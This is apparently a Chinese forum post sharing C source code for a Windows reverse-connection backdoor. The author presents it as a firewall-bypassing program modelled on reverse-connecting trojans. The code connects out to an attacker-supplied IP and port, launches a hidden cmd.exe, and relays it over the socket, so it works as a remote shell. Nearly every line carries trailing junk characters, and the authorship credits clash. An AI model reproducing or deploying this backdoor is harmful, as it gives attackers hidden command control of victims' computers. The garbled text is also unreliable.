这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %c$|.TkX
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/* ============================== LO%e1y
Rebound port in Windows NT FwKY;^`!d
By wind,2006/7 M/xm6
===============================*/ `6YN/"unfp
#include ]m&Ss
#include ?|`n&HrP
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#pragma comment(lib,"wsock32.lib") &eO.h%@
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void OutputShell(); -)&lsFF
SOCKET sClient; G&Yo2aADR
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; HsRoiqo
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void main(int argc,char **argv) DP *$@5
{ ]A\qI>,
WSADATA stWsaData; {w,^Z[<
int nRet; a>6M{C@pd
SOCKADDR_IN stSaiClient,stSaiServer; Mx# P
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if(argc != 3) uHZjpMoM
{ ~U ]%>Zf
printf("Useage:\n\rRebound DestIP DestPort\n"); ]A+t@/k
return; EronNtu8i
} X=Y(,ZR(&
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WSAStartup(MAKEWORD(2,2),&stWsaData); wvxqgXnB\
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *ni0.
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stSaiClient.sin_family = AF_INET; ,s}7KE
stSaiClient.sin_port = htons(0); 1j}e2H
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8MU7|9 Q
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @C('kUX~!
{ !6#.%"{-
printf("Bind Socket Failed!\n"); juu"V]Q1
return; q{[y4c1bG{
} gtY7N>e
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stSaiServer.sin_family = AF_INET; /7a3*a
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3c:fYE
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %rl<%%T#.M
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =:TQ_>$Nc2
{ <h~uGBS"
printf("Connect Error!"); Q/HEWk
return; !af;5F
} {)kL7>u]^V
OutputShell(); wXYT(R
} !WB3%E,I
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void OutputShell() *Hv d
{ Pc+,iK>
char szBuff[1024]; zQGj,EAM}
SECURITY_ATTRIBUTES stSecurityAttributes; qM>Dt
OSVERSIONINFO stOsversionInfo; W3X;c*j
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; or)fx/ %h
STARTUPINFO stStartupInfo; |\ C.il7
char *szShell; ,W]}mqV%.'
PROCESS_INFORMATION stProcessInformation; Sl
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unsigned long lBytesRead; FELW?Q?k
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h,/3}
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); xKT;1(Mk
stSecurityAttributes.lpSecurityDescriptor = 0;
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stSecurityAttributes.bInheritHandle = TRUE; g,RhUt9
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); pC&i!la{o}
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 09iD| $~
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g)<[-Q1
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; / pGx!
stStartupInfo.wShowWindow = SW_HIDE; Xi=4S[.4
stStartupInfo.hStdInput = hReadPipe; ?.MlP,/K
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (tg+C\
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GetVersionEx(&stOsversionInfo); nF
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switch(stOsversionInfo.dwPlatformId) 0.wN&:I8t
{ L_=3`xE
_
case 1: ^<aj~0v
szShell = "command.com"; a
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break; G<~P||Lu^
default: I%0J=V;o{
szShell = "cmd.exe"; #vR5a}BAk
break; %nkbQ2^
} A.!3{pAb
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~ }G#ys\1
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send(sClient,szMsg,77,0); c[?&;# feV
while(1) 1fh6A`c
{ u/`x@u
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Ap}`Q(.
if(lBytesRead) _`9WNJiL
{ uVw|jj
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S.owVMQ
send(sClient,szBuff,lBytesRead,0); <FvljKuq+
} 0B5d $0
else ]mi)x63^
{ ^;EwZwH[
lBytesRead=recv(sClient,szBuff,1024,0); O(T6Y80pU
if(lBytesRead<=0) break; G?+]BIiL
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); mldY/;-H!1
} (`f)Tt=`
} ("J_< p
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return; 9:Z|Z?>?
}